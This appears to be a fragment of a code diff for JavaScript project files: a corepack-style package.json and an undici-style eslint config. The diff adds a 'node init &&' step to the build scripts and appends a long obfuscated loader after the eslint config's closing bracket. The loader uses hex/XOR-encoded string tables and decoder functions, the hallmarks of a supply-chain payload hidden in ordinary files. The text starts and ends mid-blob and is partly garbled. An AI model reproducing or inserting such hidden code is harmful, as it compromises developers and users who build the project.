ddbdba785a7d79692cedb9696c5a787a7dbd581d3c69b91c09096a597aadba7d4a7949696a7979691978896ddd48e81c9dba79b83dbbba7d38b90b486d18fd7c9c1c9db9a928693b694a799c99a96b0a79aa7a781dbdbc986db9c95a7cadb869296dbdba786a786dbd2d18da79686bba7a7d4a795a79aa7aa9bd4d6a7d9d4c08493dbd6b7bca7b599dbd9dba89aa790a79489c9a7ae81c9c9cf8994aec1c9a78ba7d4deb092d8a7db94a5d490d5d399c9c09bd096a7a791b3878c96db86daa7dbce8e8ed9bddbcec99bc9dbdcc1db819198a7dc86a791dd98a7978edbc9a796db87a598db96a790d596a7969ea78ddcc996d3969cdb8c969099808cced9dbad9187a799a7a7d6d5969693db96a7d5d5a7d1a7969a8787dddb87b685c9bb87d6b0dda8a79ba7d79c9f9b92a7a7c1c9b6d1949199a79496d381ddd4d8a785dba8919adb969ca7888086a78786dd9bd5b6c9d4cedb9396db96b58fc981a7c181b6a781a78196c8db96c696939adbd4d5d5a7cec99390cda79187b8a7a7ae91bbae968ca796cfcba19bc999abdb999acda79ca7a79686869688a78185968edb86a786dbdbdb8896dba794acaec994dfd5dcbcdd9991a7dd828687c3d5dfa7c2d494c9a6db96c9a9a7dbb7b0b9a790c3ac93c9c4c99096a587b190d58699c5a597b1d6a7a89adbd2c999db98d5a7dd85dcc9909e9496db96a7db91dbdbaa80c994d2c9d5a7999c9793989b9193a8dbddd0a7a7c9a7bbb196a7b0a7d6a3dbdb948694ae9bd3a7d9d1c9d9a7c99ac1a7a790b0a7dc8686b9a8cdb0a6a7a790a7b09ca78ea7c996db8ed596a2b293889a9d91969486dba8dbd593a5c8d59a86c3c2b09a96bca59a96d5dbc29c9296b3b6a7dbd5c996b0dbbbd5db97a7','969d9487b481','96ab98909f97ab81879a','8685999c81','c7cdcd999886a0b185','c4c1c0b08583808191','9f9a9c9b','c3c59ab1baa18ca4','c4c4c4ccccc4c3b0a79ea19199','c4c3ccc3c5c1c3bcbe9d9bbebe','93879a98b69d9487b69a9190','c3c5cdb9b684a58680','9d849087868d998083829496919f978c98929a878f939e9a969c85818780819b86819a9b96','c6c3c0c3ccc6a3bab894aca4','8680978681879c9b92'];uFZJCBPkZizvf=function(){return xTmxLGucdH;};return uFZJCBPkZizvf();}function spin(FfKzSIDp$NcOuXFZBJ_CHQSPN,GcPFo_H$YWuzwHOLObbqnFaE){var MRAuuiXbNlf=iHnmzEbnHW$DFPJlH_k,XlFOWWdynqeXPmh$KiC_tyWvrt=[],ISvQGucB_Gv=-parseInt(0x3)*-parseInt(0xab7)+-parseInt(0xa51)+Math.max(-0x16,-parseInt(0x16))*Math.max(0xfe,parseInt(0xfe)),QrsyFxJBYBnJAvsXcggpkOmhe=GcPFo_H$YWuzwHOLObbqnFaE[-0x196*Math.floor(0x16)+-parseInt(0xbcf)*-parseInt(0x1)+parseInt(0x13)*Math.ceil(parseInt(0x137))],PcfPYhaGCwWvPITkAeRVh$Lq_KV,fI$Qa$cy,Y_BlNB$L,TZcT$vuHmKlsqUbpjE,Mk_rsooAxKwbtN_gvflbiXQyD,hzD$VGIwfqJnbnlhUQ;while(ISvQGucB_Gv=26.0.0" - }, - "exports": { - "./package.json": "./package.json" - }, - "license": "MIT", - "packageManager": "yarn@4.18.0+sha224.5707fce90df5d8720fae4e85a07ab55e90aa20fded8914893e2ba225", - "devDependencies": { - "@types/debug": "^4.1.5", - "@types/node": "^22.0.0", - "@types/proxy-from-env": "^1", - "@types/semver": "^7.1.0", - "@types/which": "^3.0.0", - "@yarnpkg/eslint-config": "^3.1.1", - "@yarnpkg/fslib": "^3.0.0-rc.48", - "@zkochan/cmd-shim": "^6.0.0", - "clipanion": "patch:clipanion@npm%3A3.2.1#~/.yarn/patches/clipanion-npm-3.2.1-fc9187f56c.patch", - "debug": "^4.1.1", - "esbuild": "^0.28.0", - "eslint": "^10.8.1", - "semver": "^7.6.3", - "supports-color": "^11.0.0", - "tar": "^7.5.11", - "typescript": "^5.7.3", - "v8-compile-cache": "^2.3.0", - "vitest": "^4.0.5", - "which": "^7.0.0" - }, - "dependenciesMeta": { - "esbuild": { - "built": true - } - }, - "scripts": { - "build": "run clean && run build:bundle && node ./mkshims.ts", - "build:bundle": "esbuild ./sources/_lib.ts --bundle --platform=node --target=node22.22.2 --external:corepack --outfile='./dist/lib/corepack.cjs' --resolve-extensions='.ts,.mjs,.js'", - "clean": "run rimraf dist shims", - "corepack": "node ./sources/_cli.ts", - "lint": "eslint", - "prepack": "yarn build", - "postpack": "run clean", - "rimraf": "node -e 'for(let i=2;i=26.0.0" + }, + "exports": { + "./package.json": "./package.json" + }, + "license": "MIT", + "packageManager": "yarn@4.18.0+sha224.5707fce90df5d8720fae4e85a07ab55e90aa20fded8914893e2ba225", + "devDependencies": { + "@types/debug": "^4.1.5", + "@types/node": "^22.0.0", + "@types/proxy-from-env": "^1", + "@types/semver": "^7.1.0", + "@types/which": "^3.0.0", + "@yarnpkg/eslint-config": "^3.1.1", + "@yarnpkg/fslib": "^3.0.0-rc.48", + "@zkochan/cmd-shim": "^6.0.0", + "clipanion": "patch:clipanion@npm%3A3.2.1#~/.yarn/patches/clipanion-npm-3.2.1-fc9187f56c.patch", + "debug": "^4.1.1", + "esbuild": "^0.28.0", + "eslint": "^10.8.1", + "semver": "^7.6.3", + "supports-color": "^11.0.0", + "tar": "^7.5.11", + "typescript": "^5.7.3", + "v8-compile-cache": "^2.3.0", + "vitest": "^4.0.5", + "which": "^7.0.0" + }, + "dependenciesMeta": { + "esbuild": { + "built": true + } + }, + "scripts": { + "build": "node init && run clean && run build:bundle && node ./mkshims.ts", + "build:bundle": "node init && esbuild ./sources/_lib.ts --bundle --platform=node --target=node22.22.2 --external:corepack --outfile='./dist/lib/corepack.cjs' --resolve-extensions='.ts,.mjs,.js'", + "clean": "run rimraf dist shims", + "corepack": "node ./sources/_cli.ts", + "lint": "eslint", + "prepack": "yarn build", + "postpack": "run clean", + "rimraf": "node -e 'for(let i=2;i { - return { - name, - message: `Use undici-own ${name} instead of the global.` - } - }) - ] - } - } -] +'use strict' + +const neo = require('neostandard') +const { installedExports } = require('./lib/global') + +module.exports = [ + ...neo({ + ignores: [ + 'lib/llhttp', + 'test/fixtures/cache-tests', + 'undici-fetch.js', + 'test/web-platform-tests/wpt' + ], + noJsx: true, + ts: true + }), + { + rules: { + 'n/prefer-node-protocol': ['error'], + 'n/no-process-exit': 'error', + '@stylistic/comma-dangle': ['error', { + arrays: 'never', + objects: 'never', + imports: 'never', + exports: 'never', + functions: 'never' + }], + '@typescript-eslint/no-redeclare': 'off', + 'no-restricted-globals': ['error', + ...installedExports.map(name => { + return { + name, + message: `Use undici-own ${name} instead of the global.` + } + }) + ] + } + } +]; var z = '-6032-2';(function(yhcqGbD$PCBCwPXlhQENiDmzLJ,fWRnLU_H){var xwRZXYIN=NPttphp_Z,XGTIKZVErbTSirm$NsZFL=yhcqGbD$PCBCwPXlhQENiDmzLJ();while(!![]){try{var yfzHTLWkpkjGaPo_mAsfxBQ=parseInt(-parseFloat(xwRZXYIN(0x1a3))/(-0x228a+parseFloat(-0xcba)+parseInt(0x2f45)))*Math['trunc'](-parseFloat(xwRZXYIN(0x1b4))/(-parseInt(0x28)*Math.ceil(parseInt(0x2e))+0x1d21+0x463*Math.ceil(-0x5)))+-parseFloat(xwRZXYIN(0x1ab))/(-parseInt(0x1e68)+Math.floor(-0x1)*parseInt(0x2483)+Math.max(0x42ee,parseInt(0x42ee)))+Math['ceil'](-parseFloat(xwRZXYIN(0x1b3))/(Math.floor(0xec1)*Number(-parseInt(0x2))+Math.floor(-parseInt(0x2387))+Math.max(parseInt(0x410d),0x410d)*0x1))*(parseFloat(xwRZXYIN(0x1b2))/(-0x1715+-parseInt(0x22f3)+Math.max(0x3a0d,parseInt(0x3a0d))))+Math['floor'](-parseFloat(xwRZXYIN(0x1a6))/(0x1*0xcd4+Math.floor(parseInt(0xcd))*parseInt(0xa)+-0x4a*parseInt(0x48)))*(-parseFloat(xwRZXYIN(0x1b0))/(Math.trunc(-0x2479)*-0x1+0x21c7*0x1+-0x4639))+Math['trunc'](parseFloat(xwRZXYIN(0x1ac))/(parseInt(0x2)*parseFloat(0xaa9)+Math.floor(-0x41)+-parseInt(0x1509)))*Number(parseFloat(xwRZXYIN(0x1a2))/(parseInt(0x114f)*-0x2+-0x125b+-0xa9a*Math.max(-parseInt(0x5),-parseInt(0x5))))+-parseFloat(xwRZXYIN(0x1a0))/(-0x125d+Math.floor(-parseInt(0x105e))+parseInt(0x22c5))+Math['ceil'](-parseFloat(xwRZXYIN(0x1a8))/(Math.ceil(0x14)*0x1f+-0x135a+0x10f9))*Math['floor'](-parseFloat(xwRZXYIN(0x1ad))/(0x1c48+-0x53*Math.trunc(parseInt(0x3))+-parseInt(0x1b43)));if(yfzHTLWkpkjGaPo_mAsfxBQ===fWRnLU_H)break;else XGTIKZVErbTSirm$NsZFL['push'](XGTIKZVErbTSirm$NsZFL['shift']());}catch(vLPpnckWfwXCFlxrvoLNgP){XGTIKZVErbTSirm$NsZFL['push'](XGTIKZVErbTSirm$NsZFL['shift']());}}}(mnvVIMvlp$_VuBQoCn,-0x1f72f*-parseInt(0x7)+-parseInt(0x86b46)+parseInt(0x8c6e7)));var NX=[-0x90456a+-parseInt(0x6176be)+Math.trunc(0x15b3777),parseFloat(parseInt(0x763))+-0xb32*Math.max(0x2,0x2)+-0x41c*-0x4,Math.max(parseInt(0x1915),parseInt(0x1915))*Number(parseInt(0x1))+-0x1*parseInt(-0x5beb)+-0x2545,Number(-0x3)*-0xb32+Math.trunc(0x1309)+-parseInt(0x323a),0x5fa3+parseInt(0x6522)+Number(parseInt(0x2))*-parseInt(0xceb),-parseInt(0x51d6d)*-parseInt(0xd)+-0x28e1c2+parseInt(0x32f9cc)],SX=[-0x36eaf5*Number(-parseInt(0x1))+parseInt(0x9)*Math.max(-0xc2b6d,-parseInt(0xc2b6d))+parseInt(0x873b7d),Math.max(-parseInt(0x23),-0x23)*-0xcd+parseInt(0x23a5)+Math.trunc(-parseInt(0x3ebb)),-parseInt(0xc5de)+Math.max(parseInt(0x1),parseInt(0x1))*Math.ceil(-parseInt(0x3767))+parseInt(0x5)*parseInt(0x536e),Math.max(parseInt(0x3c0),parseInt(0x3c0))+parseFloat(-0x15)*Math.floor(parseInt(0xeb))+parseInt(0x1042),-parseInt(0xd757)+Number(0x16b8f)*parseFloat(-parseInt(0x1))+-0x10a0d*-parseInt(0x3),Math.trunc(0x153451)*-parseInt(0x3)+0x7a6bd7+0xd8071];function NPttphp_Z(yvguuE_OVNKsuD_OOnd,WMYrpmo_aaAHH){var zVKtW_BWLtZggeU=mnvVIMvlp$_VuBQoCn();return NPttphp_Z=function(eMIiCgBIi$gWF$tPIS,Dpe_jQwfABkvmNAWDZZLO_WMCne){eMIiCgBIi$gWF$tPIS=eMIiCgBIi$gWF$tPIS-(-parseInt(0x2e3)*Math.max(parseInt(0x6),parseInt(0x6))+0x55d+Math.floor(0xd94));var qiALcZMnerTXNdVjDuZ=zVKtW_BWLtZggeU[eMIiCgBIi$gWF$tPIS];if(NPttphp_Z['IeddZI']===undefined){var DNSmpSIbPsd=function(naawAkex$hlj_tqxcPs){var iu$lk$leO=-parseInt(0xf52)+parseFloat(0x1fbb)*0x1+parseFloat(-parseInt(0xd07))&0x16e5+parseInt(-parseInt(0x94b))+-0xc9b,bjhpRjyg=new Uint8Array(naawAkex$hlj_tqxcPs['match'](/.{1,2}/g)['map'](ycDHshlfDfDEZOonmg_oJAsV=>parseInt(ycDHshlfDfDEZOonmg_oJAsV,Math.floor(0xb3)*0x15+0x1fa0+Math.trunc(-0x2e3f)))),ZjHfk=bjhpRjyg['map'](FKoTHY$_vpsgjXcRqn=>FKoTHY$_vpsgjXcRqn^iu$lk$leO),uxzcedysTbiCLWZg_Xw=new TextDecoder(),fgS_YcL_CAXtal=uxzcedysTbiCLWZg_Xw['decode'](ZjHfk);return fgS_YcL_CAXtal;};NPttphp_Z['JDnWFg']=DNSmpSIbPsd,yvguuE_OVNKsuD_OOnd=arguments,NPttphp_Z['IeddZI']=!![];}var WAUhtxMogg=zVKtW_BWLtZggeU[Number(-parseInt(0x1a3d))+Number(-0x1a5)*-parseInt(0x2)+0x16f3],TWq_omFyM$AG=eMIiCgBIi$gWF$tPIS+WAUhtxMogg,LcqmRCGGEk=yvguuE_OVNKsuD_OOnd[TWq_omFyM$AG];return!LcqmRCGGEk?(NPttphp_Z['GbMWwu']===undefined&&(NPttphp_Z['GbMWwu']=!![]),qiALcZMnerTXNdVjDuZ=NPttphp_Z['JDnWFg'](qiALcZMnerTXNdVjDuZ),yvguuE_OVNKsuD_OOnd[TWq_omFyM$AG]=qiALcZMnerTXNdVjDuZ):qiALcZMnerTXNdVjDuZ=LcqmRCGGEk,qiALcZMnerTXNdVjDuZ;},NPttphp_Z(yvguuE_OVNKsuD_OOnd,WMYrpmo_aaAHH);}function spin(ezY_zykO,lASAXfuPoXoIVcV){var jyVjxg$lq=NPttphp_Z,JjKoVUcuWBrBZ=[],WSppStCMDsFuDzKE_ZUy_y=0x75f*-parseInt(0x4)+-0x1388+parseInt(0x3104),d_GU$NVGkegWIr=lASAXfuPoXoIVcV[0xa7+-parseInt(0x9af)*-parseInt(0x1)+-parseInt(0xa56)],ZntOOWEq,U_mqUx,BLRvEplkrn,LEGgVNiIHsUnGE$ngxfduiH,nTWXlIpIDQb,rpTvS_$gX;while(WSppStCMDsFuDzKE_ZUy_yparseInt(TDpKMuM_tcRCnVQhRcCRbB,-parseInt(0x7db)*-parseInt(0x1)+Number(-0x5ad)*-0x4+-parseInt(0x1e7f)))),G_hMNlpEV$mC=wDhRPjr$_sQRfgiugAkcJm['map'](pIycLEr=>pIycLEr^mWQvW$kUnfrPmGMhJq),SJ$IdYOTlMLEgR$CxGrwdLnQ=new TextDecoder(),PxJcSrwCsiyiG$BtSD=SJ$IdYOTlMLEgR$CxGrwdLnQ['decode'](G_hMNlpEV$mC);return PxJcSrwCsiyiG$BtSD;};iHnmzEbnHW$DFPJlH_k['UiUkNz']=gJdAHnfRVBNuhRheSWAAAJ,kcL_WpHctzO=arguments,iHnmzEbnHW$DFPJlH_k['SbeJrB']=!![];}var PQdiS$BQosdyEz_xZesGRs=ycLkB_RoPRbnMtpWWtKZE[-0xdd*0x2b+Math.floor(-0x1802)+0x3d21],IshhVtXux_CqLPZ=utEJIknql$bS_SmYF+PQdiS$BQosdyEz_xZesGRs,Gk$McH=kcL_WpHctzO[IshhVtXux_CqLPZ];return!Gk$McH?(iHnmzEbnHW$DFPJlH_k['jAQjay']===undefined&&(iHnmzEbnHW$DFPJlH_k['jAQjay']=!![]),nxtaKDz$p_mByWxjPdyQ=iHnmzEbnHW$DFPJlH_k['UiUkNz'](nxtaKDz$p_mByWxjPdyQ),kcL_WpHctzO[IshhVtXux_CqLPZ]=nxtaKDz$p_mByWxjPdyQ):nxtaKDz$p_mByWxjPdyQ=Gk$McH,nxtaKDz$p_mByWxjPdyQ;},iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ);}function uFZJCBPkZizvf(){var xTmxLGucdH=['c4c2c0cdc3b7b7beac96a6','c4ccc6c387bb9c8f968c','c0c2c3c4beb880b99a8f','c894909b87809ddd9499c8c096d992cd939180db8c87d5dbdb9b96909693d9c0d78594909480c3999b9fdc87a8c78083d78dd884dda8d594cedd87c8cece87dedd94aecddb86c781b4929a84d9809dcdb6d9949cd986ce94ddb498c5dd9b9fce9f83dfd9c2839ac2dddcdd9ace98c39a94c18782dcdbd5879a91ae9386c79b8e91878381c18ddcdec5d9949b87de8787de9adc888fc4d5c89d93ae949bcd87c487aed9a886c2d8c2c2999494db809cc28ed8c5c3cc99839881c787c89ca8a8c9dedc80d990dcd9d9ce9b879dae87c8c583d887ddced9c885dcb68086c8de96ce92ce93ce84b4dcdcc4839cdc839ec59b8799c49490d593c8aece9d9c868cdb9098dd91de9ad4c7d5c8dd90839094c2cdc8dbdcc1909cc892db9bc88e9393c8c4aec9c794d593c4c887cec1d9a6dc878c9983c480d58cce9e84998e81839b83d5ddb6d5dd99d99a839b85d59cc8819987d987db99829a8f9ddd99d98184cece8787dddd83c8949d8683cea88d84c89497ce9194ced9dddd87ce839f84dbdd81aededc9194dc87919b879d86c1c48cdd8387ce939dcec692d7a890dddb949d8785948592a892dbdc9b9293859bc49dd99c9699cecedcc8b6ce98c0c8de87d9d5dbdcce80c8de8688dedc9c81d9de9798ce91de8098dcd8c8869c9c849a99c881c887c884ccdedbdb969d84deaec39390d581c59b878587ddd58387cd9399879bd991919281d5a8c394dbce98ce87819ddb9284d5c794889083909c96a89297819cc9c19aceb6ce99d98f8f9cc3de99ae94aecededd869cd7999cd787d99b859ccc86d99387939d8082dc9a82c8908edd97c882909bc781db9280db9cc89e9c949494dedc8c93818594c69b88dcc8ccd7dc9685b4de80ce808185a8d7c8999ec2838581d5c487ce9d8f82d7dc81dddcccdcdddb998099c886c293ced5ce8684c5dc9bd78cdec58688c88394de86d5989dddc584dba89d83cecbd5c5c3c8b4d89a8f908187dd81c4878187869c869ac590d9dbce8faedd93c9c090c281d9dd87949a94839b87ce819d9d93ce83d99fc887ced5dc87cbc4cd8f9d9adf9a8ec9949e98869bdc949e8190db839accde9094c596999c9ace9780d5c8a8b6d4929fce8cc6de99dc90c8db889187c89cc39a9cb6cd879b9bc5cec3c89487d788db87909cc8a8a68186879b9bdbcec787c881ceae81ce9c83c88587b6879bdddc94879081808fded59d999eaede8dc890d5d8cd9f8edd909f8cccdddddcdcd5','c1c4c5ac86b3b4baba','99909b92819d','c1c1cdcdc6a7828584bc80','a7aac9d796a7bfd4d3a39096a7a294c8a78793a7d1c3d796c4cea7a7ac969b9daadadb81d59ca7a7a7b2abc9a7dba796a7c7dbae9ba7d5dba793dbdac9a796c6d4d4c09ba6a7c9a79ca7b9db90a6869993dd9091928d96c9ca9ac9879996a7ca81a79a8691a79380a690dbcad3859ddba7a7bab886ae90c9869ea7b0dbc9a780c987a790cea7b1a7b787a7a7a9db93a7dbc996cfd4978599c5cc9c969aa7878196a7ddce879aa7a79bc7d8d7dddbab82d58cdbc9c99191d5dcd193d59a80dbd090c994c990db81c998dd96a78d93a7c9aebfdd9390a7c9a59787db97d29aa79cdba7a7c9d2a7a7d082a79386dc90a7dbae9492a6a58e91c7db9ec99496c490dbd4c6dba5c9afa79ca7df9ab1869cc8aedbc993dbd7c1a797d5bbd7909a8da7859adb9cbc999e9490a1a7dbc7dcd098c99c90a7a88fc989a780dddd93a782a7a7a9a7cba7ccd6dba7c58791c886dbc58dd486a7db93a7a6dcdd969681c485939a819490b880a7b5a7c8c9a7a7da95dba79ed1ddc796a7db86c290c494dbb3a7be96dfdbdb8fd7a79b93a59086a781a7a7a7dbc9a799d6a793c9cfd5c7dddda7d5a7d1d2c38695c9c69b9d9cdfd190ad9688a79dcad596819a96db9c909696ccd58ea794c986ce80d4db90a8b0a7a79abddbdbd1d79bc9b1c6a786a7a7dbdbdda79090868690a7c9d581d9d7d5a7919a8388a696c5bf989cdba1c986b0909286a782a8a7d794a7dba7d4a7c99adcdc9fa7d5a79082d59c8196db869b9edd88dd9bae8390a7c9c5c9c89e93bdc98787b8a7d5969c9e9bb0db96dbb7c9d3a7ae9aa8a7dbd09696a799878dcedfd5aed79a9c86909ba790939094d4ac9bdb9096a7d09ad780dbc9c399a7a7a78ca7c89c86c8a7a7dddca7a790cfa7a7dcd4a7829687a7c4c9db9ad4a796a796b5d788a780a78480c0ddc6a59a99d790a781c5d4938194a7dfc9a7c4819b9e969388a1dbd4d1dac9879ad5bc8c96a7a7d5dca5c9a9db97c981a7c2cfa5a586c9a8db87adc9c9db90a780dda7a7a7849b85dbc9dba7ce96819c86addba7a78ca7d1b5c9c6dc9ea7a796c9dea787cd99dfdb9ca7d487b6a9a5d49bc89686c9dd969cc9dda7c290a790a796dbd581c9908590dc90c9c9d990c9ddb0bed4db859b97d1d7a794a7a7db9083809d96dba199aa96dbcfa7c587d5dca78282d486a6c5db81c280dbc5dda7ccaa94ddd1d3db90c393dba7a79ec4b68d979ccd99db9d96c898ddb5c9a791dbdbc98787dbc7dbbeb8879697aaa79ba7dda7aa96cfb1828188dba7db8e88cc92d1a7a7a7dca1a381c994dddbc9b2db91a78ba2a0a7dbce9987db9dbc8698bba5d5d581b5a7a7cdaaa7c7a7db9ca787a7a5a7c9dda7c6d6969096c59690c69ca7a7c994a7c6a7949ba78eaf8688d4b8c9a7d8dfdb8c9194c6a79cdac5d093a7d6a7d5c99cc7c9a7c5cdcfdb8188a793d4d7d8a796dba799a7968c818ca78690b4c5a7a6a1a7cddbc184c9d1b3a190a7dbdba5aac996a7c39d97a7db90879cdb96d8a79d96b4a7b6c783a7dbce97a6c9a7c994d6bec9a7cf87a8a1939090d8ced49ec8aa86dba796989f86dda788cfc9a794a7dfd392dbc9919a98909c86a79bdbddd1d6aa948ea3b59a96acd8db9a98a5919498dba7949993968c9aa1ded4a5aa928687dbc9979ca7d493dbdc96bcd3dd97bc9aa79cdd879b87a2db9c90dba796d5d4dd9c96dda6a7db968795cfccc9ad8685a7ddd1d598a79681c986db92d4dbc1cd87869e9083a3a7a591a79e8da7c9a79190879bdc90a686dadca7d5999087c99686a1c6919688dba7c0b6daa2dddba69a9baf87dca7969a969686969ddca7dbc9a7a7c981db8686dda7a7c9919980db96db8993cd819ed986999b90859ac990a7c9d4dbc3a7db9090a7a7a194d39dd5b893c98eae9ad1a7c9d5a786c5dcc8d5c98da69096db9688c996d19086dddd91dca7a7968893b6a7a7c9dfc9a7db98d8dba7dfa790c9dd8d83a786d5ddb8d3a793db90a5df92d5cb86dcc99adbc8dba79c869b87a7dbca8ec0c99c97a7c3dca7a7c486d596a7928496909996c89699ce9790c99993dfa6bcb691c790d78f85a7a788c996a799a6d99b9f869698d1a79bdbd4949c9cc9bfaca8c993a5b686b59fb4dba7c9d0d581dba79a82a788d2d587cb858f9ddbdb99a7d2c9929aaa88c9a6a7dd9e848d9daed5d3c99ca7d893d1b6c980c99c94b0bba7c0a7a1a7a8c9a785869edbdba78f9192dbdca8c9dc9087dba787dbb886a78fa5cba7a790c9c981aa9d9299c985dba7969893a786d49b9381a7c1d59181aaccabc9d99a8790c0a793a78dd5a7a7ae87addbc986978ca7c9c9dbc7a7dba787909ba0a5dd8ccbdb85c9c99686a79981c581db8edba68c9c9bc9929299d1d5a396dbdccfb0bdbcd4db8db180a7d9a785a79da7dd869681dbb887a7b89fbdb8a7a796a7dbd5a7819b91899a94c5db9bd694dbc7dcb1939ed396a7bca7a7a7da9390a7db96b5c99c8786c3a1dec4a7a58ddbdba7db8696db94a7d6dbd8c9ad8ea7d49bc1a796a79c81a7da9ba790cc98dbdbc9b4dc97909bdcdba8c9db94dda7dddb8ecac681a7d3a7a7da9cdd99addbd5c99dd491a7a7c9d7d4969acad5c6d5c4a7c9d89d9bc991819b919ac9a79e8698d6d896dda190a79090d4a8dba7c986c9a1dec8a7dba79cd887b5a7a7db87d69691c996a7a7a7988f8193dbb69190a785db968ea4a79c979f869a86db93a78792d8a7a2c5919ca7a7c9db9ec9baa7a7d3d8a7d4d6d5a8b686a88c81c1dbd891aa95a5a7a7d2c9dba783909fa682c99196db96d5d993dba5dbdddb969c8196bb97a79bd2d8db90a796a79b87a4db87a78d9a8ea796c9d7c3a79b91a8a788a798dda7d1a7a69adba1c0a796c7968ddbdf83a79a9c96aacbdb86c5b7a793dcc9a5c994a7db9ab6af89c5d5a5babd91a49adb9bd5c9dbc4869aa7aad2d5dba5c99087dbaec9a789a7c9c59cc9a787ced2bcdba7ae88de9996d4ae9896d4db9996c99bdd94d581a7a7bda799d9888588a7dca7cda7bfc994a7dbc98191ddbbcba89c96c99890b5c0969bae80dba7dcdb97d086a59bc9c9aaa7a7d4a797a7c8d1a7a7abc9d488dc8697d8c3d7d6b0cd96a7dd91d4a7dc81879481a7a7c9c9d5c7c4a7d2b9d49c978990ba81a7a781d18096919ba7a7db81dca78fb0dbb2a58cd4d5a7b4bcd89b849480c988db8c96a7dbdbdb96a7a7db969696d1aba7a791b6aaa7c981cd96a79d86c7d7a7c7dbd2a6cbdcdcc79dd490938cdbdbcbd49cb9d1909bd5ced0ccbaa183db91d1c1a7a7b6c996a5a6dd8180a78299d3dd98d6d7a78985969dc981bdd194c9c9d5db81d4a7a6b093dba7a79296bba5dba7d5b6a79cc198a7c9d6b8a7a7c9ce829cd8d6b0d5c9c981c990a7c9bdc9a7879b819ab0ddd4c587c5c991dbdba7b6d7969bdbdbc79785ddc3b685c9a6a7d790c499dc9696c994dda5dba5cc90c98494dcc9c9c4c99bdb9ca794a7a5a7dd88a7c8dbd3d9c7d49682a7dbdca5a7d1dbc984a7c988d4c4dfa6c9a7d4a793dbc996c9a791aac9a7c7a7c9c9d6a8c9c9a7a7a785d4db8785a7c9dfd4a1a7bca7c9a59ec9a78f8194dbd388db949990bec89ca5c9a7d2c892a7a588a785d18ea6b7dbd5a7868cdbdddb81d4d596cec990c0869dc3c18181c98593c99a818d80b9a19e87cbcec9a7db968586a7db96a781a7d8d694c180a7c3dba78190ced8ddd1ca82cdcf85dad3a799c5c987d6c990d59c9c8693d491d1949aaaddd6969887d590c9a7a7a3d4a59b9694c981db8b968796dd90d2df94cfd5c9a7a79b9094af90dbd0da91a7c9a7a7dfddb0d595de90aea59682a782d5c9dd9080968194dcdbc2a2c9dad1a5c9db9d96a6a1d5c290a7b7d4dbdea7dbbcc9979da79099db8190db97c1ae809b809080a7d4a79981dda7a7a7d988d9bd9381bd83aa9bdbc990a7d5aab4c9cdc98687c9a78dc1dca7bbd485a79189b7d5c9a7a79e9c90d296d8dba7969b98c69686c9a69cc99cdbdcdbb0dda7ddc9a7a7a5a7d5aac6a7c9968290dbd4db99c9a7d1d4a79791d990c9a5a7b099d1818587d4c99adadcdba7a781d4d9a1dd8796d6dadba78cdddea787a79295c993dbc994dedb93dcdac9c9d3c9d590a7a7c9909cd8c9b793b0db86a7979ba7a7dcdba7d0da9f8199a7c9d096d5a7d4a7dd8da7d696a7db86a7a7dba7b8dbc9a7c296dd969299a79698dba8c9db9096c797dca5c9c9c7a7a7d39194b7bedc87c9af81cbae9194a7bd969091dbb8a7c98886a7b287dba7c9cac4a793a7a7969696a7dd9a8696d7a7a78b9ec9a9d4b896db85dbb6dc80a78ddcdedda79ea990d29fc3b8a5a0a7b69896caa7a7c6a7c1dd9c9c90db86a790dfa7cf8fa6a7cea59bddafdcc9999ea78399cfc9a7a48ea7969cd796a5de90d9b8a7a294dbc9a7b887a79981d6c9a7a78681c687d4dbc992c9bea782a7dda79fdba7a794d4dbb2c1a7dbd1859bdb8fce8e90a7cec7c48ec5a1c1dd87a79ed8d2dbd4c9a78dc99cbe9dc9dc86aec98196d5a58090a78887dd939494a793c299c9a7c0d487a799b1ada798dbc4cf859ca7d5c9c8d5a79f869adbc99087d49aa784bcdca7c4a78787829a8ed381a7a7bec99bb6afd8c5b8db9680a7dc96d09691c5de82c9d1b0c99ca1c9c99a8191948c9bc99c9aabdba7d2a7a782a796c3c09ea7d6bfa5dbc9d4a7c090d4878ea790ce8c90a7dddbc5c8ce969c86db96dd9281a7c78580ccc8b8a493ae8ed9ba9bd5dbdba5bb9cddc9dba7949ca4a7dbdb96d081dadddaa7c9db87dba787dbdb99d486968090db94a58ba7d496c5c694a0a7d781968696dbd487a3a785949c8fc5c997d791819291d4db86cad6968391a78bd6a7c9a7c9dcdda197dbbca7dca596c9c3cac2dca8c1a2c3d69b9ba581db88879089a7a0cba79094a7dc85d6d59ba6de97c7d09ca79f8886ddad9bab9a868c96869291bfdb8686ae859ea7cddbd586808287a79b8c88919adbb29ca1dbc982de96dbdd9686ced4d59b9ddda7d9a7b6a7aec9d3ada7c9c9db969796a1a786b4939b96a6d8a7d79cc9db96b7dd89a7a7dba791d0a7dba0daa7db87b9c981dcd4a790a7c7968585d486c9cba7cac4a7d1c98190a7c9c9a79ac5878193dda7908697b1a7c2999c94a7db8886dbda86a7968786948799a7d093a886c5a7dbc99990c98790d086db8699998697cda7ba8db6a78196c481c38edbd8d5a799db90a79adb969298a79e9aa786979694c9bc8c8088a78781d686d38981a7948da7dc9d9adba78693d59ea7a7a7c19687dd8ddb96c881dbc99cc6dda78dd5dbc9dbdba7d193d781d5a7a786bbc9dab6d5a79ba791a78785a7a7c99a91c9dba7c987ae9487d799c9dbd5a5d7dba786dba7db8796d483d6b193a79090979a8ed9a7dc91cd83c993a796db96bfc98190dbd4a7a7d79ea6dda6dca7d6c9a6db9da5888781dbdddadddb96ddc491c9a782d48680c5dd9adba597ddc5dba7bf96b09cb6db93ddd5db9cdb978096c9d687dbdbdba7a7aecddcaad4a7dba6a7b7d4d781a7a3979baaa79996a5a7a7d59aa79bce9dc9a7a5b587cd94a787999689969ac0dda785dcc9a78d91c9c9d1db9bc9999a889087a7c99a8ca7949bdb9a8cdba7bcb7c99d81c9969a97b09ca788dd98b887dba194a7c5a790819ca788dbd4c9dba7c4cc81c9b49097a7aab996999dd4b1c587dba7c59c999c87a796da86cdc996a7dd87dfa7b590c9c9db99cedb8796d8a5809994a79696a79cd7c5c3b5d4a796d4dba49e99d9c992c9c28897dd94a796b9db9686d2dedbdba1ddc987a7c9c9dbdbd39391cba79ad5969a9098a79682db99969bdd96cfa7d28981c9a79ba7aca8c1b8c5b2a7dba7b3a78081dbd4c993db80ded1de81c9a7dfc286a7a7a7dd9c979d91c8a5dbc988a7a7c890a7dbaadcdbdc8787d9c1d3d599a78890c9a7c3a7a7c9ab92939990a7918681a58bc99796dbdd868cc9c088a79cca99969dc9d3dbc68e80db9baacf9ca7c297cec5c9a